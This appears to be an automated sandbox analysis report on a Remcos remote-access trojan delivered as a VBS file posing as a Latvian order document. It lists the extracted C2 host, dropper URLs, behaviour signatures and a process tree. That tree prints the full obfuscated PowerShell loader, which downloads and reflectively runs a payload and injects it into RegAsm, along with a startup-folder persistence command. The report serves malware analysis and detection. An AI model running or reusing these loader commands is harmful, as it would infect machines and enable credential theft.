Analysis

  • max time kernel
    149s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2024 12:01

General

  • Target

    PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs

  • Size

    502KB

  • MD5

    054770dd0e6f86d42f8df6f72265375b

  • SHA1

    bd012509b749be9acc1dd0a67b8519dedaf1c680

  • SHA256

    0a6ec56a9d84def4f2898df242f92e2aa9cf1bdf0d32bc0b710f4106bc3de651

  • SHA512

    4b2777eb1ff628dfa9f378879828b4d4f4ae19386108de94584683c2173b70e7347da1d55a8be19bf146576e36f3e6ea70c50ab78aed69689ea8ebf2b71ca9c8

  • SSDEEP

    12288:i6tQjLe5sR1aZdlZ7LVSFOzV3JMGeLF8azIdzzEV3J2m2Fjc1AkhbhBs3r:dY2SyPEED

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Extracted

Family

remcos

Botnet

444

C2

ella666.duckdns.org:3131

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-T559ZO

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: MapViewOfSection 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:1852
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.razivarcsed.vbs')')
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:5084
      • C:\Windows\system32\PING.EXE
        ping 127.0.0.1 -n 10
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:4700
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\PASUTIJUMU SARAKSTS 2112100 EUR DOKUMENTS SEPTEMBRIS PASUTIJUMA DOC pdf.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.razivarcsed.vbs')')
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnNnZndScrJ3JsJysnID0gJysnWlJ4aHR0cHM6Ly9pYTYwMDEnKycwMCcrJy51Jysncy5hcmNoaXZlLm9yJysnZy8nKycyNC9pdGVtJysncy9kZXRhaC1ub3RlLXYvJysnRGV0JysnYWgnKydObycrJ3RlVi50eHRaUng7NnZnYmEnKydzZTY0Q29udGVudCA9IChOJysnZXctTycrJ2JqJysnZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZScrJ250KS5Eb3dubG9hZFN0cmluZygnKyc2dmd1cmwpOzZ2ZycrJ2JpbmFyJysneUMnKydvbnRlbicrJ3QgPSBbU3lzJysndGUnKydtLkNvbnZlcnRdOjpGcm9tQmFzZTY0UycrJ3RyaW4nKydnKCcrJzZ2Z2JhJysnc2U2NENvJysnbicrJ3RlJysnbnQpOycrJzZ2Z2Fzc2VtYmx5JysnID0gW1JlZmxlY3RpbycrJ24nKycuQXNzZW1iJysnbCcrJ3ldJysnOicrJzpMb2FkKDZ2JysnZ2JpbmFyJysneUMnKydvbnRlJysnbicrJ3QpJysnOzYnKyd2Z3QnKyd5cCcrJ2UgPSA2dmdhc3NlbWJseS5HZXRUJysneXBlKFpSeFJ1blBFJysnLkhvbWVaJysnUngpOzZ2Z21ldGhvZCA9IDYnKyd2Z3QnKyd5JysncGUnKycuR2V0JysnTWV0aG9kKFpSeFZBSVpSeCknKyc7NnZnbWV0aG9kLkludm9rZSg2dmdudWxsLCBbb2InKydqJysnZWN0WycrJ10nKyddJysnQCcrJyhaUngwLycrJ3Z1bycrJ29oL2QvZScrJ2UuZXQnKydzYXAnKycvLycrJzpzcHR0aFpSJysneCAsIFonKydSeCcrJ2Rlc2F0aScrJ3ZhJysnZG8nKydaJysnUngnKycgLCBaUnhkZXNhdGl2YWRvWlJ4ICcrJywgWicrJ1J4ZGVzYScrJ3RpdmFkb1pSeCcrJywnKydaUnhSZScrJ2dBc21aUngsWlJ4WicrJ1J4KSknKSAtcmVwTEFDZShbQ0hhUl05MCtbQ0hhUl04MitbQ0hhUl0xMjApLFtDSGFSXTM5LXJlcExBQ2UgKFtDSGFSXTU0K1tDSGFSXTExOCtbQ0hhUl0xMDMpLFtDSGFSXTM2KXwmKCAkZW52OkNPTXNQRWNbNCwxNSwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3092
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('6vgu'+'rl'+' = '+'ZRxhttps://ia6001'+'00'+'.u'+'s.archive.or'+'g/'+'24/item'+'s/detah-note-v/'+'Det'+'ah'+'No'+'teV.txtZRx;6vgba'+'se64Content = (N'+'ew-O'+'bj'+'ect System.Net.WebClie'+'nt).DownloadString('+'6vgurl);6vg'+'binar'+'yC'+'onten'+'t = [Sys'+'te'+'m.Convert]::FromBase64S'+'trin'+'g('+'6vgba'+'se64Co'+'n'+'te'+'nt);'+'6vgassembly'+' = [Reflectio'+'n'+'.Assemb'+'l'+'y]'+':'+':Load(6v'+'gbinar'+'yC'+'onte'+'n'+'t)'+';6'+'vgt'+'yp'+'e = 6vgassembly.GetT'+'ype(ZRxRunPE'+'.HomeZ'+'Rx);6vgmethod = 6'+'vgt'+'y'+'pe'+'.Get'+'Method(ZRxVAIZRx)'+';6vgmethod.Invoke(6vgnull, [ob'+'j'+'ect['+']'+']'+'@'+'(ZRx0/'+'vuo'+'oh/d/e'+'e.et'+'sap'+'//'+':sptthZR'+'x , Z'+'Rx'+'desati'+'va'+'do'+'Z'+'Rx'+' , ZRxdesativadoZRx '+', Z'+'Rxdesa'+'tivadoZRx'+','+'ZRxRe'+'gAsmZRx,ZRxZ'+'Rx))') -repLACe([CHaR]90+[CHaR]82+[CHaR]120),[CHaR]39-repLACe ([CHaR]54+[CHaR]118+[CHaR]103),[CHaR]36)|&( $env:COMsPEc[4,15,25]-jOiN'')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:5032
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:2356
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ztwoeflx"
            5⤵
              PID:4936
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ztwoeflx"
              5⤵
                PID:900
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\ztwoeflx"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2324
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\bvbzfxwyxdsp"
                5⤵
                • Accesses Microsoft Outlook accounts
                • System Location Discovery: System Language Discovery
                PID:2448
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\mpgrgqhsllkuxwm"
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3640
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4160,i,4356837537417149674,16553092232944545509,262144 --variations-seed-version --mojo-platform-channel-handle=3888 /prefetch:8
        1⤵
          PID:5036

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\remcos\logs.dat

          Filesize

          144B

          MD5

          fad65ad1ccd5c4288a9e99a872d780b0

          SHA1

          1992b20943380ea5c09e70895886b294cc612e39

          SHA256

          0aa9d69adf7ccdcc2362739cceecbf23999d0c21b5cfc4821b9f03b4ac832f03

          SHA512

          98a6504d47588a9a7155bf4757bbaaef094f10fb138142b10a7e1109163fa14c8f8c6cabe8a81a071f096961db233184fd2fb0adc7db6cc88d859c87cb507584

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          62623d22bd9e037191765d5083ce16a3

          SHA1

          4a07da6872672f715a4780513d95ed8ddeefd259

          SHA256

          95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

          SHA512

          9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          64B

          MD5

          11caa8db014785ad78b1031f4a167f3d

          SHA1

          a91bccb9eaffff8958b2a98d675d619a6c1ea30c

          SHA256

          e0de8d3cfb7585ac4273c25093c8f7537d452e6e9dd017c1675153649e9f137a

          SHA512

          6d1bf176a6a1cfef1c524bef5e51e4b0af18ff5f279970474cdd651c1b5ee9cbbb27bc51e1acfa625decec72ed7d747c67daee8c4e988732401601b4c1617f5f

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jdnethik.pss.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\ztwoeflx

          Filesize

          4KB

          MD5

          cda83eba5a004554ccdc061fd3df499c

          SHA1

          58ff2ecb9d47be10335e104896c87c62dc328523

          SHA256

          e384f4d46587646c6e0f9d2ee90b7bc57b49cea936b37cf8ab81ef3c4ce468ac

          SHA512

          f55ce20f0cf8b603fad765b889607f967c22d377fa4ac417ba1309d0aced9231e197bb4107d1c92bb99f51c04cc68ce26148727a8b694886710100c01f3de597

        • memory/2324-58-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/2324-63-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/2324-61-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/2324-65-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/2356-84-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/2356-83-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/2356-43-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-45-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-108-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-49-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-50-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-107-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-52-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-100-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-53-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-56-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-99-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-92-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-39-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-91-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-46-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-51-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-54-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-85-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/2356-80-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/2448-71-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/2448-64-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/2448-59-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/2504-14-0x00007FFAC6B20000-0x00007FFAC75E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2504-13-0x00007FFAC6B20000-0x00007FFAC75E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2504-17-0x00007FFAC6B20000-0x00007FFAC75E1000-memory.dmp

          Filesize

          10.8MB

        • memory/2504-2-0x00000222C7AE0000-0x00000222C7B02000-memory.dmp

          Filesize

          136KB

        • memory/2504-1-0x00007FFAC6B23000-0x00007FFAC6B25000-memory.dmp

          Filesize

          8KB

        • memory/2504-12-0x00007FFAC6B20000-0x00007FFAC75E1000-memory.dmp

          Filesize

          10.8MB

        • memory/3640-60-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/3640-67-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/3640-66-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/5032-38-0x00000199FB0D0000-0x00000199FB2DC000-memory.dmp

          Filesize

          2.0MB